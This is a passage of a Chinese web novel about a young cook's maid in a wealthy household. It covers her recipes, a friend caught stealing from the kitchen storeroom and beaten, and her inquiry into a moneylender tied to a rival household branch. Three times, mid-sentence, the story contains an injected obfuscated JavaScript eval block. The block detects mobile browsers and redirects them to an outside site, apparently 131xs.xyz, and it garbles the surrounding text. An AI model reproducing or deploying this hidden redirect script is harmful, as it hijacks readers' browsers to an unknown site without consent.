她今日来市集，本意也不全在售卖，更多是想看看销售情况，听听客人的反馈，为推出新品做准备。毕竟，除了海棠冻因需要用到木莲籽，其他人未必知道，所以暂且无人仿制，焦糖米花和怪味花生的做法都不难，恐怕不久就会有跟风者，即便味道不一定比得上，也会影响销量。要想在南市口站稳脚跟，打出名号，光靠这三样确实不够。 到了午时，带来的点心已卖得七七八八，只剩下几筒海棠冻。胡姣便道：“这些不卖了，豆哥儿，春儿姐，忙了一上午，你们分了吃吧，解解渴。” 两个小的欢呼一声，高高兴兴地接了。 收拾好空竹篮，胡姣又去肉铺割了一条瘦多肥少的猪肉，花了十文钱。想到晚食，便对春儿道：“春儿姐，晚上叫上孙婶子，都别开火了，来我家吃吧，我割了肉，咱们打打牙祭。” 春儿一听，喜得搂住胡姣的胳膊直晃：“椒姐儿你真好！我回去就告诉我娘！” 三人说说笑笑往回走。到了家，胡姣歇了会儿脚，便起身洗手准备晚食。 今日她要做的是糖醋肉。将瘦肉切成指头大小的块儿，用细盐、葱姜水略腌片刻。另取碗打入一个鸡蛋，加入面粉和少许清水，调成浓稠适度的面糊。将腌好的肉块倒入面糊中，均匀裹挂。 锅里下宽油，烧至六成热，将裹好糊的肉块逐一下入油锅，炸至定型、外壳微黄先捞出。待油温升高，再复炸一次，直至外皮金黄酥脆，捞出沥油。 另起一锅，放少许底油，加入两勺饴糖，小火熬化，接着倒入适量的香醋、一点点酱油和盐，熬煮至汤汁冒泡、变得粘稠。将炸好的肉块迅速倒入锅中，翻炒均匀，让每一块肉都裹上酸甜浓郁的汁子。最后撒上一把切得极细的葱丝和炒香的白芝麻，便可出锅了。 霎时间，酸甜诱人的香气弥漫了整个灶屋，勾得人口水直流。 接着，胡姣又快手炒了一个醋溜白菘，酸爽开胃，还有一个韭菜炒鸭蛋，韭菜鲜嫩，鸭蛋油润，用的都是自家熬的猪油。自打家里宽裕些，胡姣便让刘氏买了不少猪板油回来，熬出油的雪白透亮，放在罐子里吃几个月都不会坏，熬油剩下的油梭子也是好东西，炒菜的时候放一点进去，香的不得了。 饭菜刚做好，孙阿嫂就带着春儿来了，手里还提着七八个腌得流油的咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186797|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸭蛋和一篮子杂面炊饼，很是不好意思。 “怎好总是白吃你家的，这些拿着，好歹添个菜。” 刘氏笑着接过，招呼她们坐下。几人围坐桌前，正要动筷，门外忽然传来一个急切又熟悉的声音。 “椒姐儿！椒姐儿在家吗？” 胡姣一听，是翠姐儿的声音，忙起身应道：“在呢！翠姐姐，快进来！” 帘子一掀，翠姐儿气喘吁吁地跑进来，额上全是汗，脸色发白。她一见屋里这么多人，愣了一下，也顾不得礼节，一把将胡姣拉到院子外的一个角落，压低了声音，气息不稳地说：“椒、椒姐儿，出、出大事了！” 胡姣心里“咯噔”一下，忙扶住她：“别急，翠姐姐，慢慢说，出什么事了？” 翠姐儿喘了好几口大气，才带着哭腔道：“是、是喜姐儿，喜姐儿被抓了！” “什么？”胡姣没听明白，“被抓了？被谁抓了？为什么？” “就是、就是偷东西！偷库房的东西！”翠姐儿急得跺脚，“今儿晚食过后，鲍娘子故意没锁放干货的柜子，里面放了些白天没用完的雪蛤……然后，张妈妈和她躲在后门那边守着……结果、结果就看到喜姐儿偷偷溜回来，打开柜子拿那雪蛤……被当场捉住了！” 胡姣听得目瞪口呆，简直不敢相信自己的耳朵：“喜姐姐？她、她怎么会……” “张妈妈当时就气疯了，上去就给了喜姐儿一个大耳刮子，骂她跟了自己两三年，竟做出这种没脸没皮的事，说大厨房是决计容不下她了……鲍娘子也黑着脸，说要等明儿一早就上报给梅娘子，请她发落呢！” 翠姐儿说着，声音都抖了起来，“我、我是好奇谁会偷东西，死缠烂打跟着鲍娘子去抓贼才看见的……可我万万没想到会是喜姐儿啊！她、她平日虽省俭，可也不像会偷东西的人啊……” 胡姣的心一下子沉到了谷底。大厨房偷盗，这可是顶严重的事情。打板子、罚月钱都是轻的，若是被赶出府去……喜姐儿那境况，被赶出去还有活路吗？之前那个偷摸灶上点心的丫头不就是被直接撵了？喜姐儿这回偷的可是雪蛤，比点心贵重多了。 “椒姐儿，”翠姐儿抓住胡姣的胳膊，眼圈红红的，“我、我是偷跑出来告诉你的……你可千万别把我供出去，不然鲍娘子非扒了我的皮不可！我、我走了！”说完，她慌慌张张地四下看了看，扭头就跑走了。 胡姣站在院子外，四月里的晚风温温的，但吹在身上却觉得一阵发冷。她脑子里乱哄哄的，几日前，翠姐儿和她说大厨房有人偷盗，她还没当回事儿，怎么会是喜姐儿呢？想起喜姐儿平日的样子——沉默寡言，吃苦耐劳，即便被她爹打了身上疼得不行，也从不肯耽误干活……这样的人，会去偷东西？ 这一晚上，胡姣翻来覆去，几乎没怎么合眼。心里又是担心喜姐儿的处境，又是害怕明日去了大厨房不知会面对何种情形。喜姐儿平日待她不错，她难道能眼睁睁看着？可自己一个刚转正的小丫头，人微言轻，又能做些什么？ 各种念头纷乱如麻，直到天快亮时才迷迷糊糊睡了一会儿。听到外间刘氏起身的动静，她也立刻爬了起来，匆匆洗漱了，连早食都顾不上吃，便急急往大厨房赶去。 22. 第 22 章 到了大厨房，胡姣先朝灶下看一眼。 三个并排的灶口前，只有翠姐儿一人低着头，拿着火钳有一下没一下地拨弄着柴火，喜姐儿平日的位置空着。胡姣心一沉，翠姐儿昨夜带来的消息，竟是真的。 早食过后，收拾停当，三位管事娘子破例没有如同往日般归家歇息，而是将众人聚集到一起开始训话，训话的内容自然是有关库房失窃的事情。 主要发言人是张婆子和鲍娘子两个，林大娘不过是占着管事的名头，向来不发表意见。这里面有个缘故。头一个鲍娘子不用说，是梅娘子的心腹。其次，张婆子虽明面上没有投靠二房，可拿的是梅娘子给的月钱，自然也是要为她效力的。所以，认真说起来，三个管事里只有林大娘是大房的人，身份尴尬，故而除了做好分内的事，其他一概不管。 此刻，张婆子站在大厨房当中，精瘦的脸上颧骨高耸，一双利眼冰冷，缓缓扫过众人。鲍娘子立在她身侧稍后的位置，也是面色沉凝，眼神锐利。 这阵势，让众人连大气都不敢喘。 “都听着！”张婆子开口，“咱们大厨房，出了内贼，昨天晚上偷盗库房贵重物料，人赃并获！” 底下响起一阵压抑的抽气声。虽然早有风声，但经张婆子亲口证实，依旧令人心惊。 “老婆子我管着这灶下杂役十几年，自问待你们不算刻薄。可竟有人吃里扒外，干出这等没脸没皮的勾当，眼里还有没有规矩？还有没有王法？” 张婆子越说越气，手指点点下面众人。 “是谁，老婆子心里有数，今日暂且给她留两分颜面，不点明。至于如何发落，我和鲍娘子等会子上报，请梅娘子定夺。” 接着，她目光如刀，再次扫过众人，“但在主子示下之前，今日之事，谁敢在外头嚼半句舌根，老婆子我第一个撕了她的嘴。” 鲍娘子此时上前一步，总结道：“张妈妈的话，都记牢了。大厨房是府里的重中之重，出了这等事，丢的是我们所有人的脸。往后都给我手脚干净些，若再有人敢动歪心思——”她冷哼一声，“莫怪我们不讲情面，定要回了主子，当场打了板子撵出府去！都散了吧！” 众人如蒙大赦，却不敢立刻就走，只悄无声息地各自挪回原来的位置。 胡姣暗自叹气。张婆子和鲍娘子虽未点名，但那话里的寒意，听得她脊背发凉。喜姐儿这次，怕是难逃重罚了。 无人留意到，大厨房门外，一道纤细的身影正紧紧贴着墙壁，将里面的动静听了个一清二楚。 那人正是金桂。 她虽去了二姑娘蓁娘院里，可却并不受待见。 蓁娘的奶娘周妈妈受梅娘子所托，替她照看着院子，晓得这是三房安插的眼线，便不让她近身伺候，只做些外围洒扫的活儿，就连姑娘的屋子也不要她靠近。 下面的人自然有样学样，不把她看作是院里的人，还一个劲儿地欺负她，什么脏活儿累活儿都叫她做。 这不，本来今儿来大厨房拿点心的活儿该是小丫头蕊儿的，可她却让金桂跑腿，自己和别人拉呱，还美其名曰是锻炼她。金桂初来乍到，不敢得罪人，只能应下这差事。没想到无意中倒听到了这番话。 越听，她心里越是砰砰乱跳。鬼使神差地想起廖妈妈先前叮嘱她的话。不知道这算不算新鲜事儿？ 心里一番天人交战，最终，也顾不上取点心了，咬了咬牙，转身就朝着丹桂苑的方向跑去。 到了丹桂苑，寻了个小丫头通传，不多时，廖妈妈便出来了。 金桂喘着气，将自己听到的话一五一十地告诉了廖妈妈。 廖妈妈在李娘子身边多年，自然知道这件事可大可小，于是仔细问了张婆子和鲍娘子的原话，末了，满意地点点头。 她从袖子里摸出几个铜子，塞进金桂手里。 “好丫头，你这消息来得及时。拿着，买朵花戴。” 又夸她今儿做得很好，往后就这样，有什么事儿只管来报，娘子少不了她的好处。还给了她一碟子才从李娘子屋里撤下来的、没动几口的酥油鲍螺。 这酥油鲍螺，也叫滴酥鲍螺，是一种外形似螺蛳的甜食，里面掺了牛乳发酵提炼出的奶油，入口即化，和后世的奶油泡芙很像。不过，此时奶油提炼技术还不成熟，几十斤牛乳也不过才能得一两斤奶油，更别提做这道点心还要用到精面粉、桂花蜜、薄荷油、白糖粉了。大厨房向来不做这些贵价点心，这是李娘子打发人去福瑞斋买的，可也只用了两个便嫌腻得慌撤下去了。 金桂在家时连饭都吃不饱，何曾见过这等精致的点心，况且廖妈妈还给了她赏钱，当下早把蓁娘这个正经主子忘到九霄云外了，连声道“谢谢妈妈”，又保证以后一定加倍留心二房那边的动静。 见她识趣，廖妈妈便叫个小丫头送她出去，自己则转身进了正屋。 李娘子正在对镜理妆，准备等会儿出门去听戏。廖妈妈凑到她耳边，将金桂带来的消息说了。 李娘子描眉的手一顿。 “大厨房库房失窃，人赃并获，此事可当真？” 廖妈妈回她：“千真万确，金桂那丫头亲耳听见的，老婆子怕她说不清楚，还特意问了张婆子原话，错不了。” 她放下眉笔，嘴角扬起笑意，“我这二嫂管家，可真是越发周全了。” 当下也不打算去听戏了，站起身叫小丫头服侍她换衣裳，她要去给老太太请安。 致爽斋内，陈老娘正歪在榻上，听着小丫头读话本子解闷。 李娘子请了安，亲亲热热地坐到榻沿，拿起美人锤替陈老娘捶腿，嘴里说着些家长里短的闲话，逗得陈老娘眉开眼笑。 说着说着，李娘子话锋似不经意地一转，叹了口气。 “说起来，还是老太太您会调理人，瞧您跟前这几个丫头，个个伶俐懂事，媳妇见了都眼馋得很。不像有些地方，底下人没规矩，主子们劳心费力不说，还跟着打脸丢人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192372|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈老娘眯着眼享受，随口问：“又是哪个不长眼的惹着你了？” “瞧您说的，谁敢给我气受？”李娘子嗔道，手下力道不停。 “只是方才过来时，隐约听见下头人嚼舌根子，说什么大厨房里不太平，好像丢了什么要紧东西，闹得人心惶惶的。我想着，二嫂平日里管家千头万绪，许是一时疏忽了也是有的。 只是这风气若不好生刹一刹，只怕日后那些奴才胆子越发大，今日偷根葱，明日就敢摸块金，到时候损失的还不是咱们府里的体面和银钱？倒叫外人笑话咱们家没规矩。” 陈老娘脸上的惬意慢慢淡去，眉头微微蹙起：“有这等事？二娘子可知晓？” “这……儿媳就不知了。”李娘子忙道，“许是下面人乱传的也未可知。只是空穴来风，未必无因。老太太您是最明察秋毫的，要不要问问二嫂？若真是底下人作怪，早早打发了干净；若是误会，也好安安大家的心不是？” 陈老娘沉吟片刻，点了点头：“你说的是。等会儿子我让人请二娘子过来，问问怎么一回事。” 李娘子目的达到，便不再多说，又笑语晏晏地哄了陈老娘一会儿，方才告辞出来。 一出致爽斋，她脸上的笑容便淡了几分，眼底掠过一丝得色。 而此刻，蓁娘的“观妙阁”内，金桂却远没有李娘子这般惬意自在。 她空着手回来，自然没能拿出蕊儿要的杏仁茶和茯苓糕。 蕊儿正和另一个叫香梨的小丫头在廊下分吃一包蜜饯，见金桂两手空空，立刻把脸一沉，骂道：“让你去取个点心，你是死在外头了还是怎的？这半天才回来，东西呢？” 金桂怯生生地解释：“我、我去的时候，大厨房正有事，管事妈妈们在训话，我、我没敢进去……” “没敢进去？”蕊儿拔高声音，几步冲到金桂面前，手指几乎戳到她脸上，“你是纸糊的还是泥捏的？训话怎么了？训话你就不会在门口等等？分明就是偷懒耍滑！没用的东西，这点小事都做不好，还好意思来二姑娘院里当差？我要是你，早臊得自己撞墙去了！” 香梨站在一旁，有些看不下去，轻轻拉了拉蕊儿的袖子：“蕊儿姐姐，少说两句吧，周妈妈听见又该说咱们了。金桂才来，许是还不熟悉……” “不熟悉？”蕊儿冷笑一声，“不熟悉就敢抢别人的差事，要熟悉了可怎么得了？香梨，别看咱们只是小丫鬟，可也有些骨气。哪像有的人吃着碗里的看着锅里的，但是啊这脚踩两条船的事儿也不是好做的，弄不好早晚掉水里淹死！” 听着这指桑骂槐的话，金桂脸上一阵红一阵白，紧紧咬着下唇，眼泪在眼眶里打转，却一句反驳的话也说不出来。 香梨叹了口气，不再劝了。她也听说了，金桂这差事是顶了原先那个叫绿芝的丫头的缺。蕊儿和绿芝是同乡，平日最是要好，绿芝被撵，蕊儿本就憋着气，又见这金桂是三房那边塞进来的，自然更加看不顺眼。 23. 第 23 章 另一边，张婆子和鲍娘子赶到春晖堂时，日头已升得老高。院中寂静，只有廊下的两只画眉鸟叽叽喳喳地闹个不停。 梅娘子身边的赵妈妈打了帘子出来，见是她二人，点了点头，道：“娘子正听外头铺子里的掌柜回话，且得一阵子。你两个且先稍候。” 说着，便让小丫头搬来两张春凳，又沏了两盏白茶送来。 那茶汤色清亮，香气清幽，乃是上品，寻常仆妇哪里能得这般待遇？这也是赵妈妈与她二人熟识，又都为梅娘子心腹才如此行事。 若在平日，张、鲍二人少不得要受宠若惊，细细品尝一番。可今日，她两个心中揣着事，哪里还有心思细品？只盼着里头快快说完，好将这烫手山芋尽早呈报上去。 好容易等到那绸缎铺的掌柜躬身退了出来，赵妈妈整了整衣衫，正要进去通传，却见门口匆匆走来一人，正是陈老娘跟前的大丫鬟惠姑。 惠姑笑吟吟地对赵妈妈道：“赵妈妈安好。老太太刚醒了盹儿，想起一桩事，请二娘子过去说话呢。” 赵妈妈闻言，只得对张、鲍二人递了个“且再等等”的眼神，转身进去回话。不多时，梅娘子便带着大丫鬟秋棠出来，朝着致爽斋去了。 张婆子和鲍娘子面面相觑，只得按下满心焦灼，继续等候。 致爽斋内，熏香袅袅。 陈老娘歪在暖榻上，似睡非睡，惠姑回禀说二娘子来了她才睁开眼。脸上堆起笑，招手道：“二娘子来了？快，来榻上坐。” 梅娘子依言上前，心里却打起了鼓，不知道陈老娘葫芦里卖什么药。自打官人升了润州推官，婆婆待她虽依旧客气，却远不如从前亲热，这般让她同坐一榻更是罕见。 不过，她却面上不露，只侧身坐了半边榻沿，柔声问道：“母亲唤儿媳来，不知有何吩咐？” 陈老娘拉着她的手，先是闲话了几句家常，问些润州来的书信、晖哥儿的功课等事，然后语气不经意地一转，轻轻拍了拍梅娘子的手背。 “二娘子，你管家辛苦，我是知道的。千头万绪，难免有照应不到之处。底下的人若是不省心，出了纰漏，你也不必太过自责。” 梅娘子来的匆忙，没有听到张婆子和鲍娘子的回报，此时自然不知道有这桩官司。只能道：“可是儿媳哪里做得不周到，惹母亲忧心了？” 陈老娘便一副为她好的样子，先把大厨房失窃的事情说了，然后道：“底下人眼皮子浅，手脚不干净也是常有的，只是这风气不可长，该严办就得严办。别叫人笑话咱们家没规矩，倒显得你不会治家”。 末了，又道：“若是觉得力不从心，不妨让三娘子多帮衬些。她虽性子憨直，管些琐碎杂事倒还使得，也好替你分分忧。” 梅娘子身后的大丫鬟秋棠气的要死，心里为她家娘子不平。这陈家的人有一个算一个，何曾管过什么事？还不都是她们娘子操持着。耗费精力不说，便是嫁妆都不知填了多少进去。如今却拿着鸡毛当令箭，抓着件小事来挤兑她们娘子，当真是不要脸。 梅娘子也气，可此事究竟出在她治下，又是婆婆教导儿媳，天然便觉得理亏，所以面上没有丝毫不满，反而显出一丝愧色，起身恭声道： “母亲教导的是。儿媳一时失察，竟闹出这等事来，还劳累母亲过问，实是儿媳的不是。请母亲放心，儿媳回去必定严查，绝不姑息。” 陈老娘见她态度恭顺，毫无辩解推诿之意，也不便再多说什么。二人又闲话一会儿，梅娘子方才告退出来。 出了致爽斋，她脸上的笑意便瞬间消失得无影无踪。 秋棠跟在她身后，忍了又忍，还是低声道：“娘子，定是三房那边......” 梅娘子声音低沉：“闭嘴，回春晖堂。” 一路无话。 然而，梅娘子虽涵养极好，终归是高门大户出身，被人暗算了哪能一点气性都无，回了春晖堂便摔了一个建窑的瓷盏。 侍立在一旁的小丫头银丝吓得浑身一颤，又有些心疼。这一套十二个的建窑兔毫盏是梅娘子的陪嫁，价值数十贯钱，如今缺了这一个就用不得了，只能收起来积灰。同时心里也觉得梅娘子这回怕是气狠了。 梅娘子压下翻腾的心绪，声音恢复平静，让人将残渣收拾了。银丝赶忙应声。 恰在此时，赵妈妈引着张婆子和鲍娘子进来了。二人一进门便瞧见地上狼藉，又见梅娘子面沉如水，心下便知不好。 果然，梅娘子听完她二人的回禀，证实了库房失窃、人赃并获之事，只觉得刚压下去的那股火气又冒了上来。 “好，好得很！”她冷笑一声，“我竟不知，府里已是这般规矩了！偷盗主家财物，人赃并获，还有什么可审的？莫非还要我赏她几句不成？” 又问二人按府里旧例，该如何处置。张婆子只能硬着头皮说该打板子撵出府去。 梅娘子便让即刻拖出去打十板子再撵走，又厉声道以后谁再敢手脚不干净，这就是榜样。 张婆子心下不忍，她虽恼恨喜姐儿不争气，可也知她家中艰难，那爹和后娘都不是东西，若真被撵出去，怕是只有死路一条。想求情的话在舌尖转了几转，可抬头触到梅娘子冰冷的目光，终究还是咽了回去，只得应声照办。 鲍娘子也不敢多言，连声应下。 下午，大厨房院门前围了不少人。喜姐儿被两个粗壮婆子按在条凳上，好歹没有褪下衣衫，留了两分体面，实心儿的木板子结结实实地落在皮肉上，发出沉闷的声响。 喜姐儿起初还咬着牙硬挺，到后来实在熬不住，低低的哭起来。 十板子很快打完，虽未皮开肉绽，但那臀腿处已是红肿不堪，动弹不得。行刑的婆子松开手，喜姐儿从条凳上滚落在地，挣扎着爬向张婆子和鲍娘子，不住磕头哭求。 张婆子别开脸，狠下心肠喝她。 “嚎什么？早知今日，何必当初。娘子已经开了恩，没送你见官就是造化。还不快收拾了东西，立刻出府。” 喜姐儿闻言，面如死灰，瘫软在地，只是绝望地流泪。 最终，还是张婆子看她实在可怜，又受了罚走不得路，喊了两个小厮，与了他们几个钱，将喜姐儿抬到她家，也算是全了相处一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199976|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场的情分。 胡姣、翠姐儿两个同喜姐儿最是要好，白天见了那场刑罚，心里又是害怕又是担心，挨到下了值，两个人先去胡姣家里拿了药酒，然后就赶忙去喜姐儿家看她。 这不看不知道，短短半日，喜姐儿竟已没有了人形。 她那死鬼爹又跑出去赌钱吃酒，后娘带着弟弟在另一间屋里吃着咸鸭蛋就粥，独留喜姐儿一个人卧床。 这间屋子又小又破，床上连条厚褥子也无，好在是春天，若是冬天喜姐儿便是不被打死也要冻死了。此刻，她面朝里蜷缩着，整个人缩成一团。 胡姣唤了两声，见她没有反应，两人赶忙上前查看。 “哎呀！烧得这么厉害！”翠姐儿摸了一把她的额头，惊呼道。 两人赶紧将喜姐儿轻轻扳过来。只见她双眼紧闭，脸颊上是不正常的潮红，嘴唇干裂得都起了一层白皮。可眼下这屋子里却连口水都没有。还是翠姐儿机灵，跑了出去同她后娘讨来一碗温水，起初那婆娘还想不给，被翠姐儿给骂了回去。 喂了水，胡姣又同翠姐儿褪了她的下裳，给她擦了药酒并换了干净衣裳。 不知是不是伤处太疼，没一会儿喜姐儿醒了过来。见着二人，眼泪扑簌簌落下，嘴里满是悔恨，直道“没脸见你们”。 翠姐儿到底和她相处时间更长，见她如此，自己也忍不住哭起来，又怨她为什么做出这等事，明明说好了等她当上灶房娘子就拉拔她的。 胡姣心下也好奇，便问缘由。 喜姐儿泪水如同断线的珠子，断断续续，哽咽着说出了缘由。原来她那烂赌的爹，在外头欠了印子钱，利滚利已然是个天文数字。那放债的逼得紧，扬言再不还钱，就要卸她爹一条腿。她爹吓破了胆，竟鬼迷心窍，答应将那放债的介绍的一个瘸腿癞子招做女婿，实则是要将喜姐儿卖给那人抵债！ “那癞子又老又丑，喝醉了就打人，前头一个老婆就是被他打跑了的。我不嫁，死也不嫁……”喜姐儿哭得浑身颤抖，“我、我就想着库房里那些东西随便拿一点换点钱，先把眼前的债糊弄过去，真的没想多拿……” 她语无伦次，悔恨交加，哭得几乎喘不上气。 胡姣和翠姐儿听得心也揪紧了。万万没想到，喜姐儿竟是逼不得已，才走了这条绝路。 “那你知不知道那放印子钱的是谁？”胡姣急忙追问，“若是能打听清楚，咱们想办法回禀了梅娘子，娘子心善，或许、或许能网开一面，留下你呢？” 喜姐儿茫然地摇摇头，眼神空洞：“我爹只含糊说是什么有头脸的，姓姜，还让我爹叫他舅老爷，旁的，我就不知道了。” 胡姣便让她好生养着，这两日会让她娘来给她送饭，剩下的事情自己来想想办法。 喜姐儿只当胡姣是为了安她心才这般说，心里也没抱希望。只是紧紧抓着俩人的手，泪流满面，说她活了这一场，认识这两个姐妹，死了也知足了，反正她是绝不会嫁给那个瘸腿癞子的，大不了一脖子吊死。 胡姣替她擦了眼泪，让她别胡思乱想，又安顿一番，方和翠姐儿两个出来了。 24. 第 24 章 出了喜姐儿家，翠姐儿犹带泪痕，拉着胡姣的袖子道：“椒姐儿，你素来最有主意了，你说喜姐儿这事儿还有转圜的余地么？” 胡姣其实心里也没底。偷盗主家财物放在哪里都是大忌，又人赃并获，几乎已是死局。可她却不能这样对翠姐儿说，徒添她担忧，于是只道：“翠姐姐，你先别急，这事……容我晚上回去想想，看能不能寻出个法子来。” 翠姐儿本就不是个有主意的，此刻也只能将希望全寄托在胡姣身上。 胡姣心事重重地回到家中。刘氏已做好了简单的晚食，一锅稀粥，一碟咸菜，两个切开的咸鸭蛋并几个杂面饼子。见女儿面色不豫，连豆哥儿耍宝都没能让她展颜，刘氏便知定是出了什么事。 果然，饭后，胡姣便将喜姐儿偷盗被抓，要被严惩的事说了。 刘氏听了，亦是唏嘘不已，骂了几句“那杀千刀的爹不是东西”，又说这事已然捅破了天，她还能有什么办法？别搭救不成，把自己也搭进去。 胡姣便道，她也知道这事艰难，可如果什么都不做，她心里实在难安。 刘氏知晓自家闺女虽然面上温顺，待谁都客客气气，可骨子里却极有主张，便也不再阻拦，只让她小心行事。 这一夜，胡姣辗转反侧，脑子里反复思量着喜姐儿的事。直到天色微明，她忽然想起一个人来——那位出手阔绰、消息灵通的郑大官人，他家是开赌坊的，三教九流认识的人多，或许能打听到些什么。 主意既定，胡姣立刻起身，轻手轻脚地来到灶屋。求人办事，如何能够空着手？眼下，她就准备做一份拿得出的礼物——蛋黄酥。 咸鸭蛋磕开，小心取出蛋黄，喷上少许酒去腥，放入小灶眼里微微烤出油香。接着，将猪油与温水倒入面粉中，揉搓成水油皮；另取一些面粉，加入猪油，揉成油酥。两个团面都盖上湿布在一旁醒发。 等待的功夫，胡姣又赶紧煮上红豆，熟透之后过筛成细腻的豆沙，再趁热拌上适量的饴糖。接着将豆沙分成大小均匀的等份，然后包上烤好的咸蛋黄。 此时，面也醒好了。胡姣便将油酥包入水油皮中，擀开、卷起、再擀开，如此反复几次，做出层层叠叠的酥皮来。然后包入豆沙蛋黄馅，整成圆球状，表面再刷上一层蛋黄液，撒上几粒黑芝麻。 小泥炉生起火，架上小铁锅，倒入少许油，小心地将蛋黄酥放入锅内，用极小的火慢慢烙烤。又模仿烤炉的工作模式，在铁锅上方放上一个平底的鏊子，鏊子上也放上炭，形成上下火。 不多时，浓郁的油香、蛋香和豆沙的甜香混合在一起，弥漫开来。 这时已经天光大亮，豆哥儿揉着眼睛从屋里出来，闻着味儿，忙问是什么东西。 胡姣见他馋猫儿似的，便给他和春儿各留了一个，剩下的用油纸包好放进一个小竹篮里。 然后说有件要紧事需他帮忙，又细细交代了一番。 “今日你去市集，寻机找到那位常来买点心的郑大官人，将这点心送给他，就说是我新琢磨的，请他品鉴。然后，这般问他……” 胡姣自然没将喜姐儿的事说出来，只假托是听来的一个故事，让豆哥儿问问郑大官人是否知道这个姓姜的，听说是专放官吏债的，不知究竟是哪路神仙，以后也好躲着些。 豆哥儿虽年纪小，却机灵得很，将姐姐的话一字不落地记在心里，又保证一定办好。 当下吃了早食，豆哥儿便收拾好东西，如同往常那般与春儿一起往南市口走去。只是等了半天却不见郑大官人来，于是他便让春儿先照料摊子，自己则去市集其他地方寻找。好在，郑大官人果真是个爱吃的，没一会儿他就在一家香气四溢的羊肉胡饼摊前找到了他。 豆哥儿上前，先是问好，接着便奉上点心。 郑大官人打开油纸包，拿起一个蛋黄酥送入口中，酥皮触齿即碎，咸甜交织，满口生香，不由得满意地眯了眯眼。 豆哥儿觑准时机，将姐姐教的话说了一遍。 郑大官人思索片刻，然后说他赌坊里倒是常清理些“捞偏门”的货色，不许他们在里头害人。其中有个混号叫“姜四”的，专在城里几家赌坊转悠，盯着那些输红了眼、又借不来钱的人，趁机放贷，利钱极高，他的伙计赶过好几回。 接着，似是想起什么，又道：“这姜四仿佛和本县陈相公家还有些拐弯抹角的关系，常以陈府舅爷自居，也不知是真是假。” 豆哥儿得了消息连忙道谢。郑大官人却摆摆手，称不过是举手之劳，倒是偏了他家的好点心，又让回去告诉他姐姐，以后有了好吃食只管来找，银钱不是问题。 时近中午，带来的点心卖完了，豆哥儿便同春儿收拾好东西回家。趁着大厨房的休息时间，将打听到的话一字不落地告诉了胡姣。 姜四？陈相公家？舅爷？ 胡姣脑子里如同电光石火般，瞬间将几条线索串联起来。是了，陈三郎的生母便是姓姜，这姜四，八成就是姜小娘的娘家兄弟，仗着三房这层关系，在外头狐假虎威。 一切似乎都说得通了！ “豆哥儿，你立了大功了！” 胡姣激动地搂了弟弟一下。豆哥儿不好意思地红了脸。 可是，光有线索还不够，她还得找个帮手。 只是思忖片刻，胡姣心中就有了决断。这件事，必须告诉张婆子。于公，张婆子是大厨房管事，库房失窃，有责任查清原委；于私，喜姐儿毕竟是跟了她两三年的老人，估计也不希望看见她出事。 于是便寻了个空儿，找到张婆子，将喜姐儿偷窃的原委说了一通。 她起先还不为所动，待到胡姣说起放债的姜四与三房有牵连时，眼睛一转。 若真如这丫头所说，喜姐儿是被逼无奈，且背后还可能牵扯到三房的人……那这事儿的性质就不同了！ 且她待下虽严苛，却并非铁石心肠。喜姐儿跟了她两三年，平日干活儿从无错漏，性子也隐忍，便是养只猫儿狗儿，时日久了也有几分感情。 张婆子脸色变了又变，最终答应让胡姣跟着她去春晖堂。又叮嘱她到了地方，不要擅自开口，一切看她眼色行事。 胡姣心头一喜，连忙应声。 二人一前一后出了大厨房，径直往二房主院春晖堂而去。 到了春晖堂院门前，早有守门的小丫鬟进去通传。不多时，赵妈妈便走了出来，见到张婆子和她身后的胡姣，脸上露出几分诧异。 “张婆子，你这个时辰过来，可有什么事？” 张婆子上前一步，告知先前大厨房库房失窃一事另有内情，还要请赵妈妈通禀娘子一声。 赵妈妈眉头皱起，似乎有些为难：“娘子方才说起这事还动了气，这会儿子刚歇下……罢了，你们且等等，我再去问问。” 过了一会儿，赵妈妈出来，将二人引至西次间外等候。又过了约莫一炷香时间，才听得里面传来梅娘子的声音：“让她们进来吧。” 屋内，梅娘子正坐在窗下的贵妃榻上，手边小几上放着一盏喝了一半的安神汤，脸色不豫。 “赵妈妈，我不是说了，大厨房的事既已人赃并获，按规矩发落便是，怎么又来回我？是嫌我还不够烦心么？”梅娘子语气冷淡，对着身旁的赵妈妈道。 赵妈妈忙赔笑道：“娘子息怒，张婆子说此事另有内情，怕处置不当，反伤了府里和气，故而不敢自专，定要求见娘子陈情。” 梅娘子看向张婆子：“哦，另有内情？张妈妈，你倒是说说看。” 张婆子便将喜姐儿家中困境、其父嗜赌欠债、以及胡姣打听到的关于姜四的消息，捡那要紧的禀 